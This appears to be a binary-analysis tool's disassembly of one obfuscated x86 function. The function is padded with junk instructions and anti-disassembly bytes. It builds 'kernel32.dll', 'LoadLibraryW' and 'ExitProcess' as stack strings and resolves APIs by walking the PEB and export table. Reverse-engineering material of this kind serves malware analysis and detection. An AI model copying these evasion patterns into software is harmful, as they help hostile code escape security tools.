Function at 0x406c26
Capabilities:
Contain obfuscated stackstrings

Disassembly:
xor ecx, 0xbeb4
xor ecx, 0x12c16
and ecx, 0x2386
pop ecx
push ebx
sub ebx, 0x10756
add ebx, 0xd10
sub ebx, 0x109af
pop ebx
mov byte [ebp - 0xc00], 0x52
mov byte [ebp - 0xbff], 0xb9
mov byte [ebp - 0xbfe], 0x20
mov byte [ebp - 0xbfd], 0x20
mov byte [ebp - 0xbfc], 0x20
mov byte [ebp - 0xbfb], 0x20
mov byte [ebp - 0xbfa], 0x5a
push esi
sub esi, 0x6d6f
and esi, 0x2fa2
add esi, 0xaa4b
pop esi
push ebx
push esi
add esp, 4
sub ebx, 0x185c1
xor ebx, 0x140f3
pop ebx
push ebx
push eax
add esp, 4
add ebx, 0x1650
pop ebx
mov dword [ebp - 0x20e8], 0xe
push ebx
push ebx
add esp, 4
sub ebx, 0x83cc
jmp 0x404e21
or ebx, 0xfb77
and ebx, 0x12d23
pop ebx
push edi
and edi, 0x11f00
xor edi, 0x7422
sub edi, 0x6d4
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbf8]
mov dword [ebp - 0x15d4], eax
push esi
xor esi, 0x15fb4
and esi, 0x17576
and esi, 0x11cc8
call 0x404e79
add byte [esi], bh
inc ebp
dec eax
inc eax
inc esp
inc ebx
inc esp
cmp al, byte [ebx + 0x565e04c4]
push ebx
add esp, 4
and esi, 0x160c7
pop esi
mov dword [ebp - 0x20ec], 0xffffffff
push esi
push esi
add esp, 4
add esi, 0x10dbe
or esi, 0x2b7d
add esi, 0x32b5
sub esi, 0x12a8e
pop esi
push ecx
xor ecx, 0x103f1
pop ecx
push eax
push ebx
add esp, 4
or eax, 0x11e6f
pop eax
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x500], ecx
jmp 0x404ee2
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push edx
call 0x404ef2
add byte [eax + 0x36], cl
inc ecx
inc esp
dec esi
inc eax
dec esi
cmp eax, 0x4c48347
sub edx, 0x3922
call 0x404f08
add byte [eax + edx*2], bh
cmp dword [ebx], edi
cmp dh, byte [eax + edx*2]
add esp, 4
pop edx
push edx
jmp 0x404f13
pop edx
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x404f5c
push esi
push esi
add esp, 4
or esi, 0x172d3
or esi, 0x118df
or esi, 0x1312c
pop esi
push ebx
add ebx, 0x2b5f
call 0x404f53
add byte [ebp + 0x4c], cl
dec edi
cmp dword [eax + 0x4f], edx
aaa
inc ecx
aaa
add esp, 4
pop ebx
jmp 0x40518a
mov dword [ebp - 0xc90], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xa70], ecx
push eax
xor eax, 0x12a64
sub eax, 0xed45
add eax, 0x414b
pop eax
push ecx
push esi
add esp, 4
sub ecx, 0x14450
add ecx, 0xe3d9
sub ecx, 0xd5ab
and ecx, 0xa6e4
pop ecx
mov edx, dword [ebp - 0x15d4]
mov dword [ebp - 0xad0], edx
mov dword [ebp - 0xc94], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15d4]
jne 0x40500b
push edx
push ebx
add esp, 4
and edx, 0x5d03
pop edx
push eax
push ecx
add esp, 4
sub eax, 0x58a6
pop eax
push edx
or edx, 0xc7e1
xor edx, 0xa0e3
add edx, 0x37ac
and edx, 0x11191
pop edx
mov ecx, dword [ebp - 0xc94]
mov dword [ebp - 0x15dc], ecx
jmp 0x40513c
cmp dword [ebp - 0xc90], 0
jle 0x405130
push ebx
add ebx, 0xb46e
xor ebx, 0x122d7
or ebx, 0xe375
pop ebx
push edx
push edi
add esp, 4
xor edx, 0xf76f
call 0x405046
add byte [eax + 0x43], al
aaa
cmp al, byte [eax + 0x39]
cmp eax, 0xc4833235
add al, 0x5a
mov edx, dword [ebp - 0xa70]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xad0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4050cc
push ecx
jmp 0x405069
pop ecx
push eax
xor eax, 0xaa91
xor eax, 0xce58
pop eax
push edi
sub edi, 0x91d0
pop edi
push esi
push edi
add esp, 4
sub esi, 0xfe6c
sub esi, 0xfd45
pop esi
mov eax, dword [ebp - 0xa70]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xad0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4050b4
mov dword [ebp - 0x15d8], 1
jmp 0x4050be
mov dword [ebp - 0x15d8], 0xffffffff
mov ecx, dword [ebp - 0x15d8]
mov dword [ebp - 0xc94], ecx
jmp 0x405130
push edi
sub edi, 0xd6c4
pop edi
push eax
xor eax, 0xc90c
pop eax
push ebx
sub ebx, 0x2162
and ebx, 0x13bc9
xor ebx, 0xb0c1
add ebx, 0xb26d
pop ebx
push ecx
or ecx, 0xa54b
pop ecx
mov edx, dword [ebp - 0xc90]
sub edx, 1
mov dword [ebp - 0xc90], edx
mov eax, dword [ebp - 0xa70]
add eax, 1
mov dword [ebp - 0xa70], eax
mov ecx, dword [ebp - 0xad0]
add ecx, 1
mov dword [ebp - 0xad0], ecx
jmp 0x40500b
mov edx, dword [ebp - 0xc94]
mov dword [ebp - 0x15dc], edx
cmp dword [ebp - 0x15dc], 0
jne 0x405185
push eax
and eax, 0x300d
add eax, 0x15c2b
pop eax
push eax
sub eax, 0x8a62
jmp 0x405163
add eax, 0xce7d
or eax, 0x14d7
pop eax
push ecx
jmp 0x405176
pop ecx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x3fc], eax
jmp 0x4051c6
jmp 0x404ed3
push edi
push edi
add esp, 4
sub edi, 0xd4da
call 0x4051a3
add byte [ebx], dh
dec ecx
inc edi
dec ecx
dec ecx
inc ecx
dec eax
inc eax
add esp, 4
and edi, 0x8f24
call 0x4051b8
add byte [eax + 0x49], al
push eax
xor bh, byte [ecx]
dec edx
add esp, 4
pop edi
mov dword [ebp - 0x3fc], 0
push esi
push ecx
add esp, 4
and esi, 0x171c0
and esi, 0x5dbb
pop esi
push ecx
xor ecx, 0x35f0
xor ecx, 0xa3c7
pop ecx
push edx
push ecx
add esp, 4
xor edx, 0x1581b
or edx, 0x15d6e
pop edx
push ebx
push edi
add esp, 4
sub ebx, 0x17b9f
add ebx, 0x168b7
jmp 0x405211
and ebx, 0x13f07
pop ebx
push ecx
push ebx
add esp, 4
and ecx, 0xae0c
or ecx, 0x17228
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xc00]
mov dword [ebp - 0x15e0], eax
push edx
push edi
add esp, 4
call 0x405252
add byte [ecx + 0x48], al
inc ebx
xor cl, byte ds:[eax + 0x35]
dec ebp
add esp, 4
pop edx
push edi
push ebx
add esp, 4
and edi, 0x497f
xor edi, 0xddca
jmp 0x405270
pop edi
mov dword [ebp - 0x20f0], 0xffffffff
push ebx
jmp 0x405284
or ebx, 0xf891
jmp 0x405290
or ebx, 0x148ae
pop ebx
push esi
and esi, 0x75e1
or esi, 0x38e9
pop esi
push esi
or esi, 0x515
pop esi
mov ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x504], ecx
jmp 0x4052ca
mov edx, dword [ebp - 0x504]
add edx, 1
mov dword [ebp - 0x504], edx
push edi
sub edi, 0x108eb
add edi, 0x8829
jmp 0x4052dc
pop edi
push eax
push edx
add esp, 4
call 0x4052f0
add byte [eax + 0x37], al
cmp ecx, dword [esi + 0x3b]
aaa
dec esp
xor al, 0x83
les eax, [eax + ebx*2]
push esi
xor esi, 0x3824
pop esi
mov eax, dword [ebp - 0x504]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x405344
push esi
sub esi, 0xe6f9
pop esi
push edx
jmp 0x40531c
xor edx, 0x2465
sub edx, 0x7dad
pop edx
push ecx
sub ecx, 0x50a3
xor ecx, 0xa747
pop ecx
push ecx
xor ecx, 0xedba
pop ecx
jmp 0x405572
mov dword [ebp - 0xc98], 7
mov ecx, dword [ebp - 0x504]
mov dword [ebp - 0xacc], ecx
push edi
push ebx
add esp, 4
and edi, 0x174f5
xor edi, 0xee71
pop edi
push eax
sub eax, 0x6b3e
or eax, 0x32c2
add eax, 0x2172
pop eax
push esi
push edi
add esp, 4
sub esi, 0x629d
pop esi
mov edx, dword [ebp - 0x15e0]
mov dword [ebp - 0xac8], edx
mov dword [ebp - 0xc9c], 0
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0x15e0]
jne 0x4053f3
push ecx
push esi
add esp, 4
or ecx, 0xcd45
sub ecx, 0x10878
add ecx, 0x476e
and ecx, 0x6c37
pop ecx
push eax
push ecx
add esp, 4
add eax, 0x8f25
pop eax
push ebx
sub ebx, 0xd689
pop ebx
mov ecx, dword [ebp - 0xc9c]
mov dword [ebp - 0x15e8], ecx
jmp 0x405524
cmp dword [ebp - 0xc98], 0
jle 0x405518
push edi
push esi
add esp, 4
and edi, 0x6e7e
and edi, 0x8ab
xor edi, 0xe29b
pop edi
push ebx
and ebx, 0x139f6
sub ebx, 0x11363
and ebx, 0x1e81
xor ebx, 0x1804d
pop ebx
mov edx, dword [ebp - 0xacc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xac8]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4054b4
push ecx
sub ecx, 0x150fe
call 0x40545c
add byte [edx], bh
inc ebx
dec edi
cmp al, 0x4e
xor al, byte ds:[ebx + 0x565904c4]
push ecx
add esp, 4
or esi, 0x2fec
pop esi
push ebx
add ebx, 0xc1e1
and ebx, 0x155ae
pop ebx
mov eax, dword [ebp - 0xacc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xac8]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x40549c
mov dword [ebp - 0x15e4], 1
jmp 0x4054a6
mov dword [ebp - 0x15e4], 0xffffffff
mov ecx, dword [ebp - 0x15e4]
mov dword [ebp - 0xc9c], ecx
jmp 0x405518
push esi
xor esi, 0x17a0f
call 0x4054c8
add byte [eax], bh
inc esi
inc edx
cmp eax, 0xc4833a45
add al, 0x81
invalid
mov edx, dword [ebp - 0xc9c]
mov dword [ebp - 0x15e8], edx
cmp dword [ebp - 0x15e8], 0
jne 0x40556d
push eax
xor eax, 0xaac9
or eax, 0xddc9
or eax, 0x114f3
pop eax
push esi
push edi
add esp, 4
add esi, 0xf2b
call 0x40555b
add byte [edi + 0x37], cl
inc ebp
dec edx
dec ecx
push eax
cmp eax, 0x4c48345
pop esi
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0xac4], eax
jmp 0x4055ae
jmp 0x4052bb
push ecx
push edi
add esp, 4
add ecx, 0x211c
sub ecx, 0xe119
pop ecx
push edx
push eax
add esp, 4
jmp 0x405591
pop edx
push eax
push esi
add esp, 4
and eax, 0x56a7
xor eax, 0x1725b
pop eax
mov dword [ebp - 0xac4], 0
push eax
push ebx
add esp, 4
jmp 0x4055bc
jmp 0x4055c2
and eax, 0xa3fd
call 0x4055d4
add byte [ebp + 0x3b], cl
push eax
dec ebx
dec ebx
inc ebx
add esp, 4
pop eax
push esi
or esi, 0x15759
pop esi
mov byte [ebp - 0x86c], 0x45
mov byte [ebp - 0x86b], 0x78
mov byte [ebp - 0x86a], 0x69
mov byte [ebp - 0x869], 0x74
mov byte [ebp - 0x868], 0x50
mov byte [ebp - 0x867], 0x72
mov byte [ebp - 0x866], 0x6f
mov byte [ebp - 0x865], 0x63
mov byte [ebp - 0x864], 0x65
mov byte [ebp - 0x863], 0x73
mov byte [ebp - 0x862], 0x73
mov byte [ebp - 0x861], 0
push edi
push ebx
add esp, 4
sub edi, 0x55a3
pop edi
push esi
add esi, 0xffe5
xor esi, 0x3024
and esi, 0x8c52
pop esi
push edi
push esi
add esp, 4
or edi, 0xc48e
xor edi, 0x17c2
pop edi
mov ecx, 0x6b
mov word [ebp - 0x1754], cx
mov edx, 0x65
mov word [ebp - 0x1752], dx
mov eax, 0x72
mov word [ebp - 0x1750], ax
mov ecx, 0x6e
mov word [ebp - 0x174e], cx
mov edx, 0x65
mov word [ebp - 0x174c], dx
mov eax, 0x6c
mov word [ebp - 0x174a], ax
mov ecx, 0x33
mov word [ebp - 0x1748], cx
mov edx, 0x32
mov word [ebp - 0x1746], dx
mov eax, 0x2e
mov word [ebp - 0x1744], ax
mov ecx, 0x64
mov word [ebp - 0x1742], cx
mov edx, 0x6c
mov word [ebp - 0x1740], dx
mov eax, 0x6c
mov word [ebp - 0x173e], ax
xor ecx, ecx
mov word [ebp - 0x173c], cx
push ecx
add ecx, 0xfdea
sub ecx, 0x8f3c
and ecx, 0x5f1b
pop ecx
push ebx
push ebx
add esp, 4
sub ebx, 0x2254
xor ebx, 0x15679
or ebx, 0xf178
add ebx, 0xe43c
pop ebx
push esi
push ebx
add esp, 4
jmp 0x40573c
sub esi, 0x5ebf
add esi, 0xd74d
or esi, 0xa6b9
pop esi
push eax
sub eax, 0x106a
or eax, 0x83b7
add eax, 0x97a5
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2030], edx
mov eax, dword [ebp - 0x2030]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x2050], ecx
mov edx, dword [ebp - 0x2050]
mov dword [ebp - 0x15b0], edx
push edi
push ecx
add esp, 4
jmp 0x405795
or edi, 0x145b2
xor edi, 0x7407
jmp 0x4057a7
pop edi
push eax
or eax, 0x2b04
pop eax
push eax
jmp 0x4057b6
add eax, 0xcba1
pop eax
cmp dword [ebp - 0x15b0], 0
jne 0x4057d5
mov dword [ebp - 0x300], 0
jmp 0x405a91
mov eax, dword [ebp - 0x15b0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xca8], edx
push eax
push eax
add esp, 4
xor eax, 0xe73
pop eax
push edi
add edi, 0x18654
sub edi, 0xa292
sub edi, 0x165c7
xor edi, 0xdfd9
pop edi
push ebx
push eax
add esp, 4
sub ebx, 0x1816a
pop ebx
cmp dword [ebp - 0xca8], 0
jne 0x405831
mov dword [ebp - 0x300], 0
jmp 0x405a91
mov eax, dword [ebp - 0xca8]
mov dword [ebp - 0x508], eax
push ecx
call 0x40584b
add byte [ebx], dh
inc esp
cmp dword [ecx], edi
xor eax, 0xc4834d3a
add al, 0xe8
or al, byte [eax]
add byte [eax], al
add byte [edx + 0x4e], cl
inc ebx
dec edx
xor eax, 0x453c3336
add esp, 4
and ecx, 0x1492d
pop ecx
push eax
add eax, 0xdd21
pop eax
lea ecx, [ebp - 0x1754]
mov dword [ebp - 0xca4], ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xca0], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push ebx
push ecx
add esp, 4
and ebx, 0x92af
pop ebx
push edx
push esi
add esp, 4
call 0x4058bc
add byte [ebx + 0x4c], cl
inc ebx
dec edx
dec edi
inc esp
cmp byte [eax + ecx*2 - 0x7d], al
les eax, [edx + ebx*2]
push ebx
or ebx, 0xed47
jmp 0x4058cd
pop ebx
mov eax, dword [ebp - 0xca0]
mov cx, word [eax]
mov word [ebp - 0x1046], cx
mov edx, dword [ebp - 0xca0]
add edx, 2
mov dword [ebp - 0xca0], edx
mov ax, word [ebp - 0x1046]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xca4]
mov dx, word [ecx]
mov word [ebp - 0x1048], dx
mov eax, dword [ebp - 0xca4]
add eax, 2
mov dword [ebp - 0xca4], eax
mov cx, word [ebp - 0x1048]
mov word [ebp - 0x10c], cx
push esi
and esi, 0xdcb2
sub esi, 0x48ce
or esi, 0x2a3c
sub esi, 0x5a73
pop esi
push esi
jmp 0x40594c
and esi, 0x91
jmp 0x405959
pop esi
movzx edx, word [ebp - 0x10c]
test edx, edx
jne 0x40597d
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
sub eax, ecx
mov dword [ebp - 0x15f0], eax
jmp 0x4059e0
movzx edx, word [ebp - 0x210]
movzx eax, word [ebp - 0x10c]
cmp edx, eax
je 0x40589c
movzx ecx, word [ebp - 0x210]
xor ecx, 0x20
movzx edx, word [ebp - 0x10c]
cmp ecx, edx
je 0x40589c
movzx eax, word [ebp - 0x210]
movzx ecx, word [ebp - 0x10c]
cmp eax, ecx
jge 0x4059ca
mov dword [ebp - 0x15ec], 0xffffffff
jmp 0x4059d4
mov dword [ebp - 0x15ec], 1
mov edx, dword [ebp - 0x15ec]
mov dword [ebp - 0x15f0], edx
cmp dword [ebp - 0x15f0], 0
jne 0x405a29
push eax
or eax, 0x15a54
xor eax, 0x3e17
add eax, 0x1392b
pop eax
push edi
push esi
add esp, 4
or edi, 0x17c4b
xor edi, 0x164b3
or edi, 0x1550c
add edi, 0xea80
pop edi
mov eax, dword [ebp - 0x508]
mov dword [ebp - 0x300], eax
jmp 0x405a91
push edx
push edx
add esp, 4
xor edx, 0x1692d
pop edx
push ecx
push edi
add esp, 4
sub ecx, 0x81f8
and ecx, 0x1687f
add ecx, 0x1813d
pop ecx
push ebx
sub ebx, 0x15045
xor ebx, 0x180a3
pop ebx
mov ecx, dword [ebp - 0x508]
mov edx, dword [ecx]
mov dword [ebp - 0x508], edx
mov eax, dword [ebp - 0x508]
cmp eax, dword [ebp - 0xca8]
je 0x405a87
mov ecx, dword [ebp - 0x508]
cmp dword [ecx + 0x30], 0
jne 0x40583d
mov dword [ebp - 0x300], 0
push ebx
jmp 0x405a98
jmp 0x405aa0
pop ebx
push edi
push edx
add esp, 4
sub edi, 0xad90
call 0x405ab9
add byte [eax + ecx*2], dh
xor dh, byte [esi]
cmp dword [esi + 0x50], eax
add esp, 4
sub edi, 0x59fa
pop edi
cmp dword [ebp - 0x300], 0
jne 0x4063dc
mov edx, 0x6b
mov word [ebp - 0x17c0], dx
mov eax, 0x65
mov word [ebp - 0x17be], ax
mov ecx, 0x72
mov word [ebp - 0x17bc], cx
mov edx, 0x6e
mov word [ebp - 0x17ba], dx
mov eax, 0x65
mov word [ebp - 0x17b8], ax
mov ecx, 0x6c
mov word [ebp - 0x17b6], cx
mov edx, 0x33
mov word [ebp - 0x17b4], dx
mov eax, 0x32
mov word [ebp - 0x17b2], ax
mov ecx, 0x2e
mov word [ebp - 0x17b0], cx
mov edx, 0x64
mov word [ebp - 0x17ae], dx
mov eax, 0x6c
mov word [ebp - 0x17ac], ax
mov ecx, 0x6c
mov word [ebp - 0x17aa], cx
xor edx, edx
mov word [ebp - 0x17a8], dx
push esi
sub esi, 0xd190
pop esi
push edi
sub edi, 0xc3e5
and edi, 0xfaf3
or edi, 0x7dd7
pop edi
push eax
add eax, 0x14ef2
sub eax, 0x1780d
jmp 0x405b9a
pop eax
mov byte [ebp - 0x888], 0x4c
mov byte [ebp - 0x887], 0x6f
mov byte [ebp - 0x886], 0x61
mov byte [ebp - 0x885], 0x64
mov byte [ebp - 0x884], 0x4c
mov byte [ebp - 0x883], 0x69
mov byte [ebp - 0x882], 0x62
mov byte [ebp - 0x881], 0x72
mov byte [ebp - 0x880], 0x61
mov byte [ebp - 0x87f], 0x72
mov byte [ebp - 0x87e], 0x79
mov byte [ebp - 0x87d], 0x57
mov byte [ebp - 0x87c], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19a0], eax
mov ecx, dword [ebp - 0x19a0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19a4], edx
mov eax, dword [ebp - 0x19a4]
mov dword [ebp - 0x15f4], eax
push edi
push edx
add esp, 4
or edi, 0x2207
and edi, 0xeaa5
add edi, 0x134e0
pop edi
push eax
and eax, 0x1488c
and eax, 0xa030
xor eax, 0x15ffb
and eax, 0xea1d
pop eax
cmp dword [ebp - 0x15f4], 0
jne 0x405c67
mov dword [ebp - 0x744], 0
jmp 0x405f23
mov ecx, dword [ebp - 0x15f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb4], eax
push edi
push eax
add esp, 4
add edi, 0xfc0c
and edi, 0x907d
add edi, 0x5e3f
or edi, 0x4f1e
pop edi
push esi
or esi, 0x137ec
or esi, 0x82a4
xor esi, 0x7e2d
pop esi
cmp dword [ebp - 0xcb4], 0
jne 0x405cc3
mov dword [ebp - 0x744], 0
jmp 0x405f23
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0x50c], ecx
push ebx
push ecx
add esp, 4
or ebx, 0x8936
xor ebx, 0x140e5
add ebx, 0x17762
or ebx, 0x1085
pop ebx
push edi
or edi, 0x8854
and edi, 0x5db3
add edi, 0x723a
pop edi
lea edx, [ebp - 0x17c0]
mov dword [ebp - 0xcb0], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcac], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push eax
call 0x405d3d
add byte [ecx], bh
xor eax, 0x424c3b4b
inc eax
xor al, byte [ebx - 0x177efb3c]
aad 0x5a
add byte [eax], al
sub eax, 0xdff2
call 0x405d5c
add byte [esi], dh
cmp ecx, dword [ebp + 0x47]
dec esi
inc edi
dec edi
aas
inc ecx
inc esi
add esp, 4
pop eax
mov ecx, dword [ebp - 0xcac]
mov dx, word [ecx]
mov word [ebp - 0x104a], dx
mov eax, dword [ebp - 0xcac]
add eax, 2
mov dword [ebp - 0xcac], eax
mov cx, word [ebp - 0x104a]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xcb0]
mov ax, word [edx]
mov word [ebp - 0x104c], ax
mov ecx, dword [ebp - 0xcb0]
add ecx, 2
mov dword [ebp - 0xcb0], ecx
mov dx, word [ebp - 0x104c]
mov word [ebp - 0x110], dx
push ebx
push esi
add esp, 4
or ebx, 0xfcea
sub ebx, 0x17399
add ebx, 0x1010e
pop ebx
push esi
or esi, 0x3839
or esi, 0x326d
or esi, 0x5a7b
and esi, 0x118ff
pop esi
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x405e0f
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15fc], ecx
jmp 0x405e72
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x405d2e
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x405d2e
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x405e5c
mov dword [ebp - 0x15f8], 0xffffffff
jmp 0x405e66
mov dword [ebp - 0x15f8], 1
mov eax, dword [ebp - 0x15f8]
mov dword [ebp - 0x15fc], eax
cmp dword [ebp - 0x15fc], 0
jne 0x405ebb
push edi
push ebx
add esp, 4
and edi, 0xcd88
sub edi, 0x9fe0
or edi, 0x1b6d
pop edi
push esi
push edi
add esp, 4
add esi, 0x152ad
and esi, 0xc239
jmp 0x405eac
pop esi
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x744], ecx
jmp 0x405f23
push eax
xor eax, 0x5cc2
and eax, 0x13701
pop eax
push eax
push edi
add esp, 4
and eax, 0x1c7
sub eax, 0x16d9e
call 0x405ee9
add byte [eax + 0x37], dl
inc ebp
inc ebp
inc edi
xor edi, dword ds:[eax]
xor eax, 0x5804c483
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xcb4]
je 0x405f19
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x405ccf
mov dword [ebp - 0x744], 0
push ebx
push eax
add esp, 4
xor ebx, 0x171fe
add ebx, 0x8ca9
jmp 0x405f3c
pop ebx
push eax
push edx
add esp, 4
call 0x405f51
add byte [eax + 0x33], al
dec ecx
xor eax, 0x3c323844
add esp, 4
pop eax
cmp dword [ebp - 0x744], 0
jne 0x405f9f
push ebx
jmp 0x405f65
and ebx, 0x5d8e
or ebx, 0x11c9a
xor ebx, 0x7e5b
pop ebx
push eax
push ebx
add esp, 4
sub eax, 0x18323
sub eax, 0x98db
sub eax, 0x103fb
pop eax
mov dword [ebp - 0x790], 0
jmp 0x406ac6
push ebx
call 0x405faf
add byte [esi], dh
xor eax, dword [ebp + 0x3a]
xor eax, 0x443c4639
add esp, 4
pop ebx
push eax
push esi
add esp, 4
and eax, 0x10476
sub eax, 0x821a
add eax, 0x10bd2
or eax, 0xf7c6
pop eax
mov eax, dword [ebp - 0x744]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x754], 0
mov edx, dword [ebp - 0x31c]
mov dword [ebp - 0x1600], edx
cmp dword [ebp - 0x1600], 0
jne 0x406010
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x3f4], eax
jmp 0x406301
mov ecx, dword [ebp - 0x1600]
mov edx, dword [ebp - 0x31c]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1604], edx
jne 0x406038
mov eax, dword [ebp - 0x754]
mov dword [ebp - 0x3f4], eax
jmp 0x406301
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1604]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1608], ecx
cmp dword [ebp - 0x1608], 0
jne 0x40606a
mov edx, dword [ebp - 0x754]
mov dword [ebp - 0x3f4], edx
jmp 0x406301
mov eax, dword [ebp - 0x31c]
add eax, dword [ebp - 0x1608]
mov dword [ebp - 0x748], eax
jne 0x40608f
mov ecx, dword [ebp - 0x754]
mov dword [ebp - 0x3f4], ecx
jmp 0x406301
mov edx, dword [ebp - 0x748]
mov eax, dword [ebp - 0x31c]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x19a8], eax
mov ecx, dword [ebp - 0x748]
mov edx, dword [ebp - 0x31c]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x19ac], edx
mov eax, dword [ebp - 0x748]
mov ecx, dword [ebp - 0x31c]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19b0], ecx
mov dword [ebp - 0x74c], 0
jmp 0x4060e9
mov edx, dword [ebp - 0x74c]
add edx, 1
mov dword [ebp - 0x74c], edx
mov eax, dword [ebp - 0x748]
mov ecx, dword [ebp - 0x74c]
cmp ecx, dword [eax + 0x18]
jae 0x4062f5
mov edx, dword [ebp - 0x74c]
mov eax, dword [ebp - 0x19a8]
mov ecx, dword [ebp - 0x31c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x750], ecx
mov edx, dword [ebp - 0x74c]
mov eax, dword [ebp - 0x19ac]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x19b0]
mov eax, dword [ebp - 0x31c]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x19b4], eax
mov dword [ebp - 0x198], 0
jmp 0x406159
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x750]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x40620b
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x888]
test edx, edx
je 0x40620b
push edi
add edi, 0x4de3
pop edi
push esi
push ecx
add esp, 4
xor esi, 0xe3f9
pop esi
push ebx
add ebx, 0xfbbb
call 0x4061ae
add byte [ecx + 0x35], cl
aas
cmp byte [edx], bh
xor al, 0x37
add esp, 4
xor ebx, 0x5942
pop ebx
mov eax, dword [ebp - 0x750]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x888]
cmp ecx, eax
je 0x4061fd
mov ecx, dword [ebp - 0x750]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x888]
cmp edx, ecx
jne 0x406204
jmp 0x40614a
jmp 0x40620b
push ecx
push ecx
add esp, 4
add ecx, 0xd65a
xor ecx, 0xc9ee
xor ecx, 0x78ca
pop ecx
push edi
or edi, 0xfca4
and edi, 0xa012
and edi, 0x150f9
sub edi, 0x6ea
pop edi
mov edx, dword [ebp - 0x750]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x888]
cmp eax, edx
jne 0x40626a
mov dword [ebp - 0xcb8], 0
jmp 0x4062d9
push eax
add eax, 0xad5e
jmp 0x406277
pop eax
push eax
push esi
add esp, 4
jmp 0x406284
call 0x406292
add byte [eax + 0x36], al
xor eax, dword [ecx + 0x3d]
xor eax, 0xc483364f
add al, 0x81
invalid
cmp dword [ebp - 0xcb8], 0
jne 0x4062f0
mov ecx, dword [ebp - 0x19b4]
mov dword [ebp - 0x3f4], ecx
jmp 0x406301
jmp 0x4060da
mov edx, dword [ebp - 0x754]
mov dword [ebp - 0x3f4], edx
cmp dword [ebp - 0x3f4], 0
je 0x4063dc
push edx
or edx, 0x6900
or edx, 0xe0ea
add edx, 0x14f6a
pop edx
push ebx
push esi
add esp, 4
call 0x406336
add byte [0x41344449], bh
dec esi
xor al, 0x46
cmp byte [ebx - 0x3c7efb3c], al
adc eax, 0x8b5b0000
test dword [esp + edi*8], ecx
invalid
push edi
call 0x4063eb
add byte [ebp + 0x3c], cl
xor eax, 0x473f463d
add esp, 4
call 0x4063fe
add byte [esi], bh
xor edi, dword ds:[ecx]
dec edi
cmp dword [esi], esi
xor al, 0x44
inc esp
add esp, 4
and edi, 0xce1f
and edi, 0xa96a
pop edi
